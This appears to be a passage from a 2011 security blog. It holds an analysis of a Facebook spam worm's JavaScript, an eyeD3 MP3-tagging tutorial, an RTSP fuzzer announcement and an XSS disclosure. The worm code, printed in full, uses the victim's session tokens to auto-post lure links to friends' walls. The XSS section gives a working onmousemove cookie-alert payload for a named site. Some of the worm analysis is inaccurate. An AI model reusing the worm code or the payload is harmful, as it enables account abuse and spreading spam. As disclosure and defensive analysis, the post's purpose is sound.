    var e = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u574553_1&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][medium]=103&attachment[params][urlInfo][user]=' + randomValue(video_url) + '&attachment[params][urlInfo][canonical]=' + randomValue(video_url) + '&attachment[params][favicon]=http://s.ytimg.com/yt/favicon-vflZlzSbU.ico&attachment[params][title]=' + title + '&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=' + summary + '&attachment[params][url]=' + randomValue(video_url) + '&attachment[params][images][src]=' + randomValue(domains) + '%26' + Math['random']() + '&attachment[params][images][width]=398&attachment[params][images][height]=224&attachment[params][images][v]=0&attachment[params][images][safe]=1&attachment[params][ttl]=-1264972308&attachment[params][error]=1&attachment[params][responseCode]=200&attachment[params][expires]=41647446&attachment[params][images][0]=' + imagen + '&attachment[params][scrape_time]=1306619754&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=' + message + '&xhpc_message=' + message + '&UIPrivacyWidget[0]=80&privacy_data[value]=80&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&nctr[_mod]=pagelet_wall&lsd=&post_form_id_source=AsyncRequest';
    c['open']('POST', d, true);
    c['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
    c['setRequestHeader']('Content-length', e['length']);
    c['setRequestHeader']('Connection', 'keep-alive');
    c['onreadystatechange'] = function () {};
    c['send'](e);
    for (var f = 0; f < b; f++) {
        if (a['payload']['entries'][f]['uid'] != user_id) {
            message = [randomValue(p1), a['payload']['entries'][f]['text']['substr'](0, a['payload']['entries'][f]['text']['indexOf'](' '))['toLowerCase'](), randomValue(p2), randomValue(p3)]['join'](' ');
            var g = new XMLHttpRequest();
            d = 'http://www.facebook.com/ajax/profile/composer.php?__a=1';
            title = '[VIDEO] Yeahh!! It happens on Live Television!';
            summary = 'Lol Checkout this video its very embracing moment for her';
            imagen = 'http://i.imgur.com/b6eRh.jpg';
            e = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u574553_1&xhpc_targetid=' + a['payload']['entries'][f]['uid'] + '&xhpc_context=profile&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][medium]=103&attachment[params][urlInfo][user]=' + randomValue(video_url) + '&attachment[params][urlInfo][canonical]=' + randomValue(video_url) + '&attachment[params][favicon]=http://s.ytimg.com/yt/favicon-vflZlzSbU.ico&attachment[params][title]=' + title + '&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=' + summary + randomValue(p0) + '&attachment[params][url]=' + randomValue(video_url) + '&attachment[params][images]&attachment[params][images][src]=' + randomValue(domains) + '%26' + Math['random']() + '&attachment[params][images][width]=398&attachment[params][images][height]=224&attachment[params][images][i]=0&attachment[params][images][safe]=1&attachment[params][ttl]=-1264972308&attachment[params][error]=1&attachment[params][responseCode]=200&attachment[params][expires]=41647446&attachment[params][images][0]=' + imagen + '&attachment[params][scrape_time]=1306619754&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=' + message + '&xhpc_message=' + message + '&UIPrivacyWidget[0]=80&privacy_data[value]=80&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&nctr[_mod]=pagelet_wall&lsd=&post_form_id_source=AsyncRequest';
            g['open']('POST', d, true);
            g['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
            g['setRequestHeader']('Content-length', e['length']);
            g['setRequestHeader']('Connection', 'keep-alive');
            g['onreadystatechange'] = function () {};
            g['send'](e);
        }
    }
    setCookie("fb_videobor" + user_id, "activo", 300);
    return true;
}

function FBFBFB321() {
    if (location.href.match(/^http:\/\/(www\.)?facebook.com/i)) {
        var cook = readCookie("fb_videobor_");
        if (cook == "activo") {
            return false;
        }
        var user_id = readCookie('c_user');
        if (user_id == null) return false;
        cook = readCookie("fb_videobor_" + user_id);
        if (cook == "activo") {
            return false;
        }
        setTimeout(function () {
            fb_comparte();
        }, 2000);
        return true;
    }
    return false;
}
FBFBFB321();

From the code we can see that its first its calling the function FBFBFB321();.This fucntion is responsible for faebook cookie Hijacking.

From the function we can see that its checking the url location.
Note: if its http://facebook.com or https://.Then grab the cookie from browser.
As Facebook cookie is always marked as secure then client side java scripts will not be able to read those cookies.so the user is safe.

After that we can see its calling the function function fb_comparte().This function is responsible for generating random fake plugin comments.You can see from the code that its using Ajax request to http://www.facebook.com/ajax/profile/composer.php.
Well this is the main evil fucntion.Analyzing that function i found that first its reading the user cookie c_user.the c_user cookie is nothing but the id of your Facebook profile.

Now the most critical feature of this virus is user tracking feature.
If you look at the function readCookie() you can see it randomly adds cookie to your browser and track your activity on internet.

How to prevent this spam!
Don’t ever click on the link given with this content.

Don’t share the content

Unfortunately if you have followed the steps asked by the spammers then remove the extension that they have asked to install. “Youtube extension”

How to Remove Add Ons and Extension

http://support.google.com/chrome/bin/answer.py?hl=en&answer=113907

http://kb.mozillazine.org/Uninstalling_extensions



There are many more stuffs,Right now its not possible for me to explain the entire code.I hope It will help you!Feel free to drop comments.Thanks.

Thursday, November 24, 2011

Playing with MP3 files using python.Just time pass!

mp3 - MPEG Layer III Audio. Is the most common sound file format used today.


Ok so before we begin lets have a look at the Mp3 Header format.


ID3 is a metadata container most often used in conjunction with the MP3 audio file format. It allows information such as the title, artist, album, track number, and other information about the file to be stored in the file itself.

Maximum length of each tag can be found form this table:

ID3 tags may be edited in a variety of ways. On some platforms the file's properties may be edited by viewing extended information in the file manager. Additionally most audio players allow editing single or groups of files. Editing groups of files is often referred to as "batch tagging". There are also specialized applications, called taggers, which concentrate specifically on editing the tags and related tasks.

Here i will tell you how can you edit ID3 using python.

eyeD3 is a Python program and module that provides the ability to read and write ID3 tags (v1.x and v2.3/v2.4). It also decodes MP3 headers (bit rate, sample frequency, play time, etc.)

Download

http://eyed3.nicfit.net/

How to install??
root@bt:~#gzip -dc eyeD3-0.6.17.tar.gz | tar xvf -
root@bt:~#cd eyeD3-0.6.17
root@bt:~#./configure
root@bt:~#make
root@bt:~#make install (as root)
How to use?

Reading the contents of an mp3 file containing either v1 or v2 tag info:
import eyeD3
tag = eyeD3.Tag()
tag.link("/some/file.mp3")
print tag.getArtist()
print tag.getAlbum()
print tag.getTitle()


Read an mp3 file (track length, bitrate, etc.) and access it's tag:
if eyeD3.isMp3File(f):
     audioFile = eyeD3.Mp3AudioFile(f)
     tag = audioFile.getTag()
Specific tag versions can be selected:
tag.link("/some/file.mp3", eyeD3.ID3_V2)
tag.link("/some/file.mp3", eyeD3.ID3_V1)
tag.link("/some/file.mp3", eyeD3.ID3_ANY_VERSION)  # The default
Or you can iterate over the raw frames:
tag = eyeD3.Tag()
tag.link("/some/file.mp3")
for frame in tag.frames:
    print frame
Once a tag is linked to a file it can be modified and saved:
tag.setArtist(u"Cro-Mags")
tag.setAlbum(u"Age of Quarrel")
tag.update()

If the tag linked in was v2 and you'd like to save it as v1:
tag.update(eyeD3.ID3_V1_1)

Read in a tag and remove it from the file:
tag.link("/some/file.mp3")
tag.remove()
tag.update()

Add a new tag:
tag = eyeD3.Tag()
tag.link('/some/file.mp3')    # no tag in this file, link returned False
tag.header.setVersion(eyeD3.ID3_V2_3)
tag.setArtist('Fugazi')
tag.update()

Sunday, November 20, 2011

rtspFUZZ a Real Time Streaming Server Fuzzer

The Real Time Streaming Protocol (RTSP) is a network control protocol designed for use in entertainment and communications systems to control streaming.The Real Time Streaming Protocol, or RTSP, is an application-level protocol for control over the delivery of data with real-time properties. RTSP provides an extensible framework to enable controlled, on-demand delivery of real-time data, such as audio and video.

rtspFUZZ is a Real Time Streaming Protocol Server Fuzzer(a python script near about 600 lines)coded by myself.
This fuzzer uses 6 basic crafting and 9 advanced crafting technique to test any target application.

Key Features:
1)This fuzzer uses 6 basic crafting technique with OPTIONS,DESCRIBE,SETUP,PLAY,GET_PARAMETER,TEARDOWN,PAUSE etc rtsp commands and 9 advanced crafting technique to test any target application.
2)Ability to fuzz with Metasploit Pattern (pattern_create.rb) can be helpful to find offset.

How to use??
1)First edit "rtsp.conf" file with your favorite text editor.Change the Parameters as per your requirement.You should get parameters description in the configuration file.
2)Give Write permission to LOG.TXT (chmod 777 README.TXT)
3)Give execution permission to "rtspfuzz.py" file.(chmod 777 rtspfuzz.py)
4)In shell type "python rtspfuzz.py".Now the script will show your preferences provided in the configuration file.If the information are correct then press enter to start fuzzing.
5)The program will always save the last successful request in LOG.TXT file.When the target crashes go to LOG.TXT file to check the Buffer length and the exact request sent.

Some sample wire-shark captures:






Download:

The tool can be downloaded from:

http://packetstormsecurity.org/files/author/9123/

XSS through javascript injection in Speed-Bit Search Engine

There is a XSS through JavaScript Injection vulnerability in the Home page of Speed Bit Search Engine.

http://search.speedbit.com/

In Media:
The Hackers News:
http://www.thehackernews.com/2011/11/cross-site-scripting-vulnerability-in.html
Softpedia News:
http://news.softpedia.com/news/Indian-Hacker-Finds-Vulnerability-in-Speed-Bit-Search-Engine-233645.shtml

Technical Description of this Issue:
The XXS filter is filtering normal html /script /iframe tags but XXS can be achieved by injecting JavaScript event "onmouseover()".

Proof of concept:
To exploit this vulnerabilty follwthis steps:

1) Visit this URL

http://search.speedbit.com/?aff=grbr" onmousemove="alert(document.cookie)



2) Bring mouse cursor over the hyperlink shown in the attached POC! and you should see a POP up box showing the browser cookies.


The search engine might not be as popular as Google, but a large number of users could be affected if a black hat would profit from the flaw.